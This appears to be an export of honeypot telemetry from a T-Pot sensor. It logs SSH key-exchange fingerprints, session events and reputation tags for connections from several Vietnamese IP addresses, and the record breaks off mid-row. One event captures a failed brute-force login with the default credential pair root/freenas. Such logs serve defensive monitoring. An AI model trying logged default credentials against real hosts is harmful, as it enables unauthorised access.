"ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 47292, "dest_port": 22, "timestamp": "2021-09-20T11:07:22.236183", "@timestamp": "2021-09-20T11:07:22.236Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22966	116.105.211.46	109.199.241.180	Fatt	2021-09-20 14:07:22.29772+03	2021-09-20 14:15:06.89747+03	{"_id": "ZgbjAnwBvYTbRNuEmwqV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 60758, "dest_port": 22, "timestamp": "2021-09-20T11:07:22.297720", "@timestamp": "2021-09-20T11:07:22.297Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22967	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:07:22.310106+03	2021-09-20 14:15:06.899473+03	{"_id": "ZwbjAnwBvYTbRNuEmwqV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 38694, "dest_port": 22, "timestamp": "2021-09-20T11:07:22.310106", "@timestamp": "2021-09-20T11:07:22.310Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
22968	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:22.87309+03	2021-09-20 14:15:06.900471+03	{"_id": "gAbjAnwBvYTbRNuEmwqV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "bb4ff764e05a", "@version": "1", "timestamp": "2021-09-20T11:07:22.873090Z", "@timestamp": "2021-09-20T11:07:22.873Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22974	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:23.748479+03	2021-09-20 14:15:06.9085+03	{"_id": "mwbjAnwBvYTbRNuEnwqA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:52444 (192.168.176.2:22) [session: fd00b0142700]", "session": "fd00b0142700", "@version": "1", "protocol": "ssh", "src_port": 52444, "dest_port": 22, "timestamp": "2021-09-20T11:07:23.748479Z", "@timestamp": "2021-09-20T11:07:23.748Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22969	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:22.655436+03	2021-09-20 14:15:06.90147+03	{"_id": "aQbjAnwBvYTbRNuEmwqV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 54358, "timestamp": "2021-09-20T11:07:22.655436", "@timestamp": "2021-09-20T11:07:22.655Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22970	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:22.679488+03	2021-09-20 14:15:06.90247+03	{"_id": "agbjAnwBvYTbRNuEmwqV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 44428, "timestamp": "2021-09-20T11:07:22.679488", "@timestamp": "2021-09-20T11:07:22.679Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22971	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:23.07506+03	2021-09-20 14:15:06.904471+03	{"_id": "ggbjAnwBvYTbRNuEmwqV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [root/freenas] failed", "session": "6ad6a154165c", "@version": "1", "password": "freenas", "username": "root", "timestamp": "2021-09-20T11:07:23.075060Z", "@timestamp": "2021-09-20T11:07:23.075Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22972	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:23.12707+03	2021-09-20 14:15:06.905472+03	{"_id": "gwbjAnwBvYTbRNuEmwqV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "0fd9c92632ff", "@version": "1", "duration": 2.7808990478515625, "timestamp": "2021-09-20T11:07:23.127070Z", "@timestamp": "2021-09-20T11:07:23.127Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
22973	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:07:23.220785+03	2021-09-20 14:15:06.907502+03	{"_id": "hgbjAnwBvYTbRNuEngoN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 472504039253698, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 36684, "dest_port": 22, "timestamp": "2021-09-20T11:07:23.220785Z", "@timestamp": "2021-09-20T11:07:23.220Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", 